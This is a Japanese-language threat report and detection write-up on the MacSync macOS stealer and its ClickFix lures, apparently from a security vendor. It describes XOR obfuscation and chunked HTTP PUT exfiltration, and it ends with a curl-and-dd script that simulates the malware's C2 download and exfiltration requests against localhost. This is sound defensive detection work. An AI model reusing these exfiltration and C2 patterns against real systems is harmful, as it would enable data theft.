MacSync macOS スティーラーが ClickFix の餌を使って検出を回避
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
MacSync Stealerは、macOSに特化したマルウェア-as-a-サービス(MaaS)で、ユーザーを騙して悪意のあるターミナルコマンドを実行させるために、ClickFixスタイルのソーシャルエンジニアリングを利用します。このマルウェアは、Mach-Oバイナリ、メモリ内AppleScriptの実行、および分割されたデータの流出を含む、モジュール式の多段階実行チェーンに従います。検出を回避するために、XOR難読化、プロセスのデーモン化、法医学的アーティファクトの迅速な削除を使用します。
調査
調査には、64ビットMach-Oステージャーのリバースエンジニアリングを含めて、その実行フローと回避技術をマッピングしました。研究者は、単一バイトXOR暗号化を使用するC++テンプレートクラスを特定しました。鍵として 0xAA を使って機能的な文字列やC2エンドポイントを隠蔽します。分析はまた、盗まれたデータをHTTP PUT転送前に10 MBのチャンクに分割するユーティリティを使用する高度な流出メカニズムも発見しました。 dd utility to divide stolen data into 10 MB chunks before HTTP PUT transfers.
緩和策
ユーザーは、ブラウザーエラー、偽の検証ページ、またはClickFixポップアップで求められるターミナルコマンドをコピーおよび貼り付けしないように訓練する必要があります。組織は、ターミナルの活動と無許可の osascriptの実行を厳重に監視するべきです。未認証のバイナリを制限し、 /tmp 内での疑わしいファイル作成や実行を監視することもさらにリスクを減少させます。
対応
MacSyncの活動が検出された場合、影響を受けたmacOSエンドポイントはデータ流出を防ぐために直ちに隔離されるべきです。対応者は、 /tmp ディレクトリの法医学分析を行い、 ~/Library/LaunchAgents/ を調べて悪意のある永続性plistsを探すべきです。システムログも無許可の osascript 実行および既知のC2ドメインへの接続に関してネットワークトラフィックを確認するためにチェックされるべきです。
攻撃フロー
この部分はまだ更新中です。
検出
疑わしいCurl実行の試み [MacOS] (cmdline経由)
MacOS一時フォルダーにアーカイブが作成されました (file_event経由)
IOC(HashSha256)を検出する: MacSync: ClickFixルアーを利用した回避型macOSスティーラー
IOC(HashSha1)を検出する: MacSync: ClickFixルアーを利用した回避型macOSスティーラー
IOC(HashMd5)を検出する: MacSync: ClickFixルアーを利用した回避型macOSスティーラー
MacSync Stealer – URIに基づく検出 [ウェブサーバー]
MacSync: macOSでのステルスセッションデーモナイゼーション [Linuxプロセスの作成]
シミュレーション実行
前提条件: テレメトリとベースラインのプリフライトチェックが通過している必要があります。
理由: このセクションは、検出ルールをトリガーするために設計された敵対者の手法(TTP)の正確な実行を詳細に説明します。コマンドと説明は、特定されたTTPに直接反映され、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。抽象的または無関係な例は誤診を招きます。
-
攻撃の物語とコマンド: 攻撃者はMacSyncスティーラーの通信ライフサイクルを模倣することを目的としています。まず、攻撃者は特定のURIを介してペイロードをダウンロードするように被害者のマシンに指示する「Clickfix」ルアーをシミュレートします:
/dynamic?txd=。この「マルウェア」が実行中であると、盗んだデータチャンクをC2サーバーに送信して流出を行いますPUTURIへのリクエスト/gate?buildtxd=。これが検出ルールが探している正確なパターンをシミュレートします。 -
回帰テストスクリプト: このスクリプトは
curlを使用して、SigmaルールのURI選択基準に一致する特定のHTTPリクエストを生成します。#!/bin/bash # MacSync Stealer URIシミュレーションスクリプト # このスクリプトはMacSyncで使用されるGETおよびPUTリクエストをシミュレートします TARGET_URL="http://localhost" echo "[+] ペイロードのダウンロードをシミュレート中 (GET /dynamic?txd=)..." curl -X GET "$TARGET_URL/dynamic?txd=malicious_payload_123" -s -o /dev/null echo "[+] データ流出をシミュレート中 (PUT /gate?buildtxd=)..." # ルール説明で述べられているように、10MBのチャンクアップロードをシミュレート中 dd if=/dev/urandom of=chunk.bin bs=1M count=10 2>/dev/null curl -X PUT "$TARGET_URL/gate?buildtxd=exfil_data_456" --data-binary @chunk.bin -s -o /dev/null echo "[+] シミュレーション完了。" -
クリーンアップコマンド:
# シミュレーション中に作成されたダミーデータチャンクを削除 rm -f chunk.bin